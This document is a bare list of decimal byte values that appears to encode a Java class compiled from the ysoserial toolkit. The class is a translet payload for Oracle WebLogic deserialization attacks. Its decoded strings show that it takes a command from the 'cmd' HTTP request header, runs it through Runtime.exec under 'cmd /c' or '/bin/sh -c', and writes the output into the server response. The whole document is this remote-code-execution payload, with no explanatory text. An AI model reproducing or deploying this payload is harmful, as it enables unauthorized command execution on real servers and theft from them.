- 105
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 53
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 100
-
-
- 116
-
-
- 109
-
-
- 47
-
-
- 68
-
-
- 84
-
-
- 77
-
-
- 65
-
-
- 120
-
-
- 105
-
-
- 115
-
-
- 73
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 97
-
-
- 116
-
-
- 111
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 104
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 65
-
-
- 76
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 101
-
-
- 114
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 72
-
-
- 97
-
-
- 110
-
-
- 100
-
-
- 108
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 83
-
-
- 111
-
-
- 117
-
-
- 114
-
-
- 99
-
-
- 101
-
-
- 70
-
-
- 105
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 12
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 46
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 11
-
-
- 7
-
-
- 0
-
-
- 40
-
-
- 1
-
-
- 0
-
-
- 51
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 36
-
-
- 83
-
-
- 116
-
-
- 117
-
-
- 98
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 64
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 114
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 47
-
-
- 65
-
-
- 98
-
-
- 115
-
-
- 116
-
-
- 114
-
-
- 97
-
-
- 99
-
-
- 116
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 105
-
-
- 122
-
-
- 97
-
-
- 98
-
-
- 108
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 57
-
-
- 99
-
-
- 111
-
-
- 109
-
-
- 47
-
-
- 115
-
-
- 117
-
-
- 110
-
-
- 47
-
-
- 111
-
-
- 114
-
-
- 103
-
-
- 47
-
-
- 97
-
-
- 112
-
-
- 97
-
-
- 99
-
-
- 104
-
-
- 101
-
-
- 47
-
-
- 120
-
-
- 97
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 120
-
-
- 115
-
-
- 108
-
-
- 116
-
-
- 99
-
-
- 47
-
-
- 84
-
-
- 114
-
-
- 97
-
-
- 110
-
-
- 115
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 69
-
-
- 120
-
-
- 99
-
-
- 101
-
-
- 112
-
-
- 116
-
-
- 105
-
-
- 111
-
-
- 110
-
-
- 1
-
-
- 0
-
-
- 31
-
-
- 121
-
-
- 115
-
-
- 111
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 105
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 112
-
-
- 97
-
-
- 121
-
-
- 108
-
-
- 111
-
-
- 97
-
-
- 100
-
-
- 115
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 71
-
-
- 97
-
-
- 100
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 60
-
-
- 99
-
-
- 108
-
-
- 105
-
-
- 110
-
-
- 105
-
-
- 116
-
-
- 62
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 7
-
-
- 0
-
-
- 42
-
-
- 1
-
-
- 0
-
-
- 13
-
-
- 99
-
-
- 117
-
-
- 114
-
-
- 114
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 44
-
-
- 0
-
-
- 45
-
-
- 10
-
-
- 0
-
-
- 43
-
-
- 0
-
-
- 46
-
-
- 1
-
-
- 0
-
-
- 27
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 119
-
-
- 111
-
-
- 114
-
-
- 107
-
-
- 47
-
-
- 69
-
-
- 120
-
-
- 101
-
-
- 99
-
-
- 117
-
-
- 116
-
-
- 101
-
-
- 84
-
-
- 104
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 7
-
-
- 0
-
-
- 48
-
-
- 1
-
-
- 0
-
-
- 14
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 67
-
-
- 117
-
-
- 114
-
-
- 114
-
-
- 101
-
-
- 110
-
-
- 116
-
-
- 87
-
-
- 111
-
-
- 114
-
-
- 107
-
-
- 1
-
-
- 0
-
-
- 29
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 119
-
-
- 111
-
-
- 114
-
-
- 107
-
-
- 47
-
-
- 87
-
-
- 111
-
-
- 114
-
-
- 107
-
-
- 65
-
-
- 100
-
-
- 97
-
-
- 112
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 50
-
-
- 0
-
-
- 51
-
-
- 10
-
-
- 0
-
-
- 49
-
-
- 0
-
-
- 52
-
-
- 1
-
-
- 0
-
-
- 44
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 113
-
-
- 117
-
-
- 101
-
-
- 115
-
-
- 116
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 7
-
-
- 0
-
-
- 54
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 99
-
-
- 109
-
-
- 100
-
-
- 8
-
-
- 0
-
-
- 56
-
-
- 1
-
-
- 0
-
-
- 9
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 72
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 38
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 58
-
-
- 0
-
-
- 59
-
-
- 10
-
-
- 0
-
-
- 55
-
-
- 0
-
-
- 60
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 115
-
-
- 112
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 49
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 115
-
-
- 112
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 101
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 62
-
-
- 0
-
-
- 63
-
-
- 10
-
-
- 0
-
-
- 55
-
-
- 0
-
-
- 64
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 71
-
-
- 66
-
-
- 75
-
-
- 8
-
-
- 0
-
-
- 66
-
-
- 1
-
-
- 0
-
-
- 45
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 101
-
-
- 115
-
-
- 112
-
-
- 111
-
-
- 110
-
-
- 115
-
-
- 101
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 7
-
-
- 0
-
-
- 68
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 115
-
-
- 101
-
-
- 116
-
-
- 67
-
-
- 104
-
-
- 97
-
-
- 114
-
-
- 97
-
-
- 99
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 69
-
-
- 110
-
-
- 99
-
-
- 111
-
-
- 100
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 70
-
-
- 0
-
-
- 71
-
-
- 10
-
-
- 0
-
-
- 69
-
-
- 0
-
-
- 72
-
-
- 1
-
-
- 0
-
-
- 22
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 79
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 53
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 79
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 74
-
-
- 0
-
-
- 75
-
-
- 10
-
-
- 0
-
-
- 69
-
-
- 0
-
-
- 76
-
-
- 1
-
-
- 0
-
-
- 35
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 120
-
-
- 109
-
-
- 108
-
-
- 47
-
-
- 117
-
-
- 116
-
-
- 105
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 7
-
-
- 0
-
-
- 78
-
-
- 1
-
-
- 0
-
-
- 22
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 66
-
-
- 117
-
-
- 102
-
-
- 102
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- 80
-
-
- 10
-
-
- 0
-
-
- 81
-
-
- 0
-
-
- 34
-
-
- 1
-
-
- 0
-
-
- 6
-
-
- 97
-
-
- 112
-
-
- 112
-
-
- 101
-
-
- 110
-
-
- 100
-
-
- 1
-
-
- 0
-
-
- 44
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 66
-
-
- 117
-
-
- 102
-
-
- 102
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 83
-
-
- 0
-
-
- 84
-
-
- 10
-
-
- 0
-
-
- 81
-
-
- 0
-
-
- 85
-
-
- 1
-
-
- 0
-
-
- 5
-
-
- 32
-
-
- 58
-
-
- 32
-
-
- 13
-
-
- 10
-
-
- 8
-
-
- 0
-
-
- 87
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 116
-
-
- 111
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 1
-
-
- 0
-
-
- 20
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 89
-
-
- 0
-
-
- 90
-
-
- 10
-
-
- 0
-
-
- 81
-
-
- 0
-
-
- 91
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- 71
-
-
- 10
-
-
- 0
-
-
- 79
-
-
- 0
-
-
- 93
-
-
- 1
-
-
- 0
-
-
- 49
-
-
- 119
-
-
- 101
-
-
- 98
-
-
- 108
-
-
- 111
-
-
- 103
-
-
- 105
-
-
- 99
-
-
- 47
-
-
- 115
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 47
-
-
- 105
-
-
- 110
-
-
- 116
-
-
- 101
-
-
- 114
-
-
- 110
-
-
- 97
-
-
- 108
-
-
- 47
-
-
- 83
-
-
- 101
-
-
- 114
-
-
- 118
-
-
- 108
-
-
- 101
-
-
- 116
-
-
- 79
-
-
- 117
-
-
- 116
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 73
-
-
- 109
-
-
- 112
-
-
- 108
-
-
- 7
-
-
- 0
-
-
- 95
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 119
-
-
- 114
-
-
- 105
-
-
- 116
-
-
- 101
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 24
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 97
-
-
- 0
-
-
- 98
-
-
- 10
-
-
- 0
-
-
- 96
-
-
- 0
-
-
- 99
-
-
- 1
-
-
- 0
-
-
- 5
-
-
- 102
-
-
- 108
-
-
- 117
-
-
- 115
-
-
- 104
-
-
- 12
-
-
- 0
-
-
- 101
-
-
- 0
-
-
- 11
-
-
- 10
-
-
- 0
-
-
- 96
-
-
- 0
-
-
- 102
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 111
-
-
- 115
-
-
- 46
-
-
- 110
-
-
- 97
-
-
- 109
-
-
- 101
-
-
- 8
-
-
- 0
-
-
- 104
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 121
-
-
- 115
-
-
- 116
-
-
- 101
-
-
- 109
-
-
- 7
-
-
- 0
-
-
- 106
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 112
-
-
- 101
-
-
- 114
-
-
- 116
-
-
- 121
-
-
- 12
-
-
- 0
-
-
- 108
-
-
- 0
-
-
- 59
-
-
- 10
-
-
- 0
-
-
- 107
-
-
- 0
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 16
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 7
-
-
- 0
-
-
- 111
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 116
-
-
- 111
-
-
- 76
-
-
- 111
-
-
- 119
-
-
- 101
-
-
- 114
-
-
- 67
-
-
- 97
-
-
- 115
-
-
- 101
-
-
- 12
-
-
- 0
-
-
- 113
-
-
- 0
-
-
- 90
-
-
- 10
-
-
- 0
-
-
- 112
-
-
- 0
-
-
- 114
-
-
- 1
-
-
- 0
-
-
- 3
-
-
- 119
-
-
- 105
-
-
- 110
-
-
- 8
-
-
- 0
-
-
- 116
-
-
- 1
-
-
- 0
-
-
- 8
-
-
- 99
-
-
- 111
-
-
- 110
-
-
- 116
-
-
- 97
-
-
- 105
-
-
- 110
-
-
- 115
-
-
- 1
-
-
- 0
-
-
- 27
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 67
-
-
- 104
-
-
- 97
-
-
- 114
-
-
- 83
-
-
- 101
-
-
- 113
-
-
- 117
-
-
- 101
-
-
- 110
-
-
- 99
-
-
- 101
-
-
- 59
-
-
- 41
-
-
- 90
-
-
- 12
-
-
- 0
-
-
- 118
-
-
- 0
-
-
- 119
-
-
- 10
-
-
- 0
-
-
- 112
-
-
- 0
-
-
- 120
-
-
- 1
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 82
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 7
-
-
- 0
-
-
- 122
-
-
- 1
-
-
- 0
-
-
- 10
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 82
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 1
-
-
- 0
-
-
- 21
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 82
-
-
- 117
-
-
- 110
-
-
- 116
-
-
- 105
-
-
- 109
-
-
- 101
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- 124
-
-
- 0
-
-
- 125
-
-
- 10
-
-
- 0
-
-
- 123
-
-
- 0
-
-
- 126
-
-
- 1
-
-
- 0
-
-
- 7
-
-
- 99
-
-
- 109
-
-
- 100
-
-
- 32
-
-
- 47
-
-
- 99
-
-
- 32
-
-
- 8
-
-
- 0
-
-
- -128
-
-
- 1
-
-
- 0
-
-
- 4
-
-
- 101
-
-
- 120
-
-
- 101
-
-
- 99
-
-
- 1
-
-
- 0
-
-
- 39
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 99
-
-
- 101
-
-
- 115
-
-
- 115
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- -126
-
-
- 0
-
-
- -125
-
-
- 10
-
-
- 0
-
-
- 123
-
-
- 0
-
-
- -124
-
-
- 1
-
-
- 0
-
-
- 11
-
-
- 47
-
-
- 98
-
-
- 105
-
-
- 110
-
-
- 47
-
-
- 115
-
-
- 104
-
-
- 32
-
-
- 45
-
-
- 99
-
-
- 32
-
-
- 8
-
-
- 0
-
-
- -122
-
-
- 1
-
-
- 0
-
-
- 22
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 66
-
-
- 117
-
-
- 102
-
-
- 102
-
-
- 101
-
-
- 114
-
-
- 101
-
-
- 100
-
-
- 82
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- -120
-
-
- 1
-
-
- 0
-
-
- 25
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 82
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 7
-
-
- 0
-
-
- -118
-
-
- 1
-
-
- 0
-
-
- 17
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 80
-
-
- 114
-
-
- 111
-
-
- 99
-
-
- 101
-
-
- 115
-
-
- 115
-
-
- 7
-
-
- 0
-
-
- -116
-
-
- 1
-
-
- 0
-
-
- 14
-
-
- 103
-
-
- 101
-
-
- 116
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 1
-
-
- 0
-
-
- 23
-
-
- 40
-
-
- 41
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 59
-
-
- 12
-
-
- 0
-
-
- -114
-
-
- 0
-
-
- -113
-
-
- 10
-
-
- 0
-
-
- -115
-
-
- 0
-
-
- -112
-
-
- 1
-
-
- 0
-
-
- 42
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 73
-
-
- 110
-
-
- 112
-
-
- 117
-
-
- 116
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 101
-
-
- 97
-
-
- 109
-
-
- 59
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 108
-
-
- 97
-
-
- 110
-
-
- 103
-
-
- 47
-
-
- 83
-
-
- 116
-
-
- 114
-
-
- 105
-
-
- 110
-
-
- 103
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- -110
-
-
- 10
-
-
- 0
-
-
- -117
-
-
- 0
-
-
- -109
-
-
- 1
-
-
- 0
-
-
- 19
-
-
- 40
-
-
- 76
-
-
- 106
-
-
- 97
-
-
- 118
-
-
- 97
-
-
- 47
-
-
- 105
-
-
- 111
-
-
- 47
-
-
- 82
-
-
- 101
-
-
- 97
-
-
- 100
-
-
- 101
-
-
- 114
-
-
- 59
-
-
- 41
-
-
- 86
-
-
- 12
-
-
- 0
-
-
- 10
-
-
- 0
-
-
- -107
-
-
- 10
-
-
- 0
-
-
- -119
-
-
- 0
-
-
- -106
-
-
- 1
-
-
- 0
-
-
- 0
-
-
- 8
-
-
